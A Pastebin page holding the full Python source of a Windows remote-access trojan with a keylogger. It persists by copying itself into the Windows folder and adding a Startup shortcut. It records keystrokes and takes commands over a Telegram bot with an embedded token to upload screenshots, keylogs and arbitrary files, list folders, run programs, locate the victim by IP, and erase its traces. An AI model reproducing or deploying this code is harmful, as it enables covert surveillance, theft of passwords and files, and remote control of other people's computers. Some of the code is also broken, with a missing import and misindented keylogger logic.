Advertisement
Guest User

code

a guest
Aug 19th, 2019
157
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.10 KB | None | 0 0
  1.  
  2. #!/usr/bin/env python
  3. import Image
  4. from PIL import ImageGrab
  5. from time import strftime, sleep
  6. from shutil import copyfile
  7. from sys import argv
  8. from json import loads
  9. from winshell import startup
  10. from tendo import singleton
  11. import telepot, requests
  12. import os, os.path, platform, ctypes
  13. import pyHook, pythoncom
  14.  
  15. me = singleton.SingleInstance()
  16.  
  17. win_folder = os.environ['WINDIR']
  18. hide_location = win_folder + '\\' + 'portal.exe'
  19. target_file = startup() + '\\portal.lnk'
  20.  
  21. if (argv[0]).endswith('.exe'):
  22.     copyfile(argv[0], hide_location)
  23.     shell = Dispatch('WScript.Shell')
  24.     shortcut = shell.CreateShortCut(target_file)
  25.     shortcut.Targetpath = hide_location
  26.     shortcut.WorkingDirectory = win_folder
  27.     shortcut.save()
  28.  
  29. initi = False
  30. user = os.environ.get("USERNAME")   # Windows username
  31. log_file = win_folder + '\\keylogs.txt' # name of log file
  32. with open(log_file, "a") as writing:
  33.     writing.write("-------------------------------------------------\n")
  34.     writing.write(user + " Log: " + strftime("%b %d@%H:%M") + "\n")
  35.  
  36. def pressed_chars(event):   # on key pressed function
  37.     if event.Ascii:
  38.         f = open(log_file,"a")  # open log_file in append mode
  39.         char = chr(event.Ascii) # insert real char in variable
  40.         if event.Ascii == 8:    # if char is "backspace"
  41.             f.write("[BS]")
  42.     if event.Ascii == 9:    # if char is "tab"
  43.         f.write("[TAB]")
  44.         if event.Ascii == 13:   # if char is "backspace"
  45.             f.write("[ENTER]\n")
  46.         f.write(char)   # write every char pressed
  47.  
  48. def handle(msg):
  49.     chat_id = msg['chat']['id']
  50.     command = msg['text']
  51.     print('')
  52.     #print(strftime('[%d %b, %y %r] ') + str(chat_id) + ': ' + command)
  53.     print command
  54.     print msg
  55.  
  56.     if checkchat_id(chat_id):
  57.         if command == '/capture_pc':
  58.             bot.sendChatAction(chat_id, 'typing')
  59.             screenshot = ImageGrab.grab()
  60.             screenshot.save('screenshot.jpg')
  61.             bot.sendChatAction(chat_id, 'upload_photo')
  62.             bot.sendDocument(chat_id, open('screenshot.jpg', 'rb'))
  63.             os.remove('screenshot.jpg')
  64.  
  65.         elif command == '/keylogs':
  66.             bot.sendChatAction(chat_id, 'upload_document')
  67.             bot.sendDocument(chat_id, open(log_file, "rb"))
  68.  
  69.         elif command == '/pc_info':
  70.             bot.sendChatAction(chat_id, 'typing')
  71.             info = ''
  72.             for pc_info in platform.uname():
  73.                 info += '\n' + pc_info
  74.             bot.sendMessage(chat_id, info)
  75.  
  76.         elif command.startswith('/msg_box '):
  77.             message = command.replace('/msg_box ', '')
  78.             if message == '':
  79.                 bot.sendMessage(chat_id, '/msg_box yourText')
  80.             else:
  81.                 ctypes.windll.user32.MessageBoxA(0, message, 'Information', 0)
  82.                 bot.sendMessage(chat_id, 'MsgBox Displayed')
  83.  
  84.         elif command == '/ip_info':
  85.             bot.sendChatAction(chat_id, 'find_location')
  86.             info = requests.get('http://ipinfo.io').text
  87.             bot.sendMessage(chat_id, info)
  88.             location = (loads(info)['loc']).split(',')
  89.             bot.sendLocation(chat_id, location[0], location[1])
  90.  
  91.         elif command.startswith('/download_file'):
  92.             path = command.replace('/download_file', '')
  93.             path = path[1:]
  94.             if path == '':
  95.                 bot.sendChatAction(chat_id, 'typing')
  96.                 bot.sendMessage(chat_id, '/download_file C:/path/to/file')
  97.             else:
  98.                 try:
  99.                     bot.sendChatAction(chat_id, 'upload_document')
  100.                     bot.sendDocument(chat_id, open(path, 'rb'))
  101.                 except:
  102.                     bot.sendMessage(chat_id, 'Could not find file')
  103.  
  104.         elif command.startswith('/list_dir'):
  105.             bot.sendChatAction(chat_id, 'typing')
  106.             path = command.replace('/list_dir', '')
  107.             path = path[1:]
  108.             if path == '':
  109.                 bot.sendMessage(chat_id, '/list_dir C:/path/to/folder')
  110.             else:
  111.                 try:
  112.                     files = os.listdir(path)
  113.                     human_readable = ''
  114.                     for file in files:
  115.                         human_readable += file + '\n'
  116.                     human_readable += human_readable + '\n^Contents of ' + path
  117.                     bot.sendMessage(chat_id, human_readable)
  118.                 except:
  119.                     bot.sendMessage(chat_id, 'Invalid path')
  120.  
  121.         elif command.startswith('/run_file'):
  122.             bot.sendChatAction(chat_id, 'typing')
  123.             path = command.replace('/run_file', '')
  124.             path = path[1:]
  125.             if path == '':
  126.                 bot.sendMessage(chat_id, '/run_file C:/path/to/file')
  127.             else:
  128.                 os.startfile(path)
  129.                 bot.sendMessage(chat_id, 'Command executed')
  130.  
  131.         elif command == '/self_destruct':
  132.             bot.sendChatAction(chat_id, 'typing')
  133.             global initi
  134.             initi = True
  135.             bot.sendMessage(chat_id, "You sure? Type 'DESTROYNOW!' to proceed.")
  136.  
  137.         elif command == 'DESTROYNOW!' and initi == True:
  138.             bot.sendChatAction(chat_id, 'typing')
  139.             bot.sendMessage(chat_id, "DESTROYING ALL TRACES! POOF!")
  140.             if os.path.isfile(hide_location):
  141.                 os.remove(hide_location)
  142.             if os.path.isfile(target_file):
  143.                 os.remove(target_file)
  144.             if os.path.isfile(log_file):
  145.                 os.remove(log_file)
  146.             while True:
  147.                 sleep(10)
  148.  
  149. def checkchat_id(chat_id):
  150.     # REPLACE '123456' WITH YOUR ACTUAL chat_id!
  151.     known_ids = ['985268167']
  152.     # COMMENT THE LINE 'return True'!
  153.     return True
  154.  
  155.     try:
  156.         return str(chat_id) in known_ids
  157.     except:
  158.         return str(chat_id) == known_ids
  159.  
  160. # REPLACE 'abcd1234' BY THE TOKEN OF THE BOT YOU GENERATED!
  161. bot = telepot.Bot ("708056454:AAFF2wHUcmznI94uFmbzF63PZpnn50i0laA")
  162.  
  163. bot.message_loop(handle)
  164. print 'Listening to commands...'
  165.  
  166. proc = pyHook.HookManager()
  167. proc.KeyDown = pressed_chars
  168. proc.HookKeyboard()
  169. pythoncom.PumpMessages()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement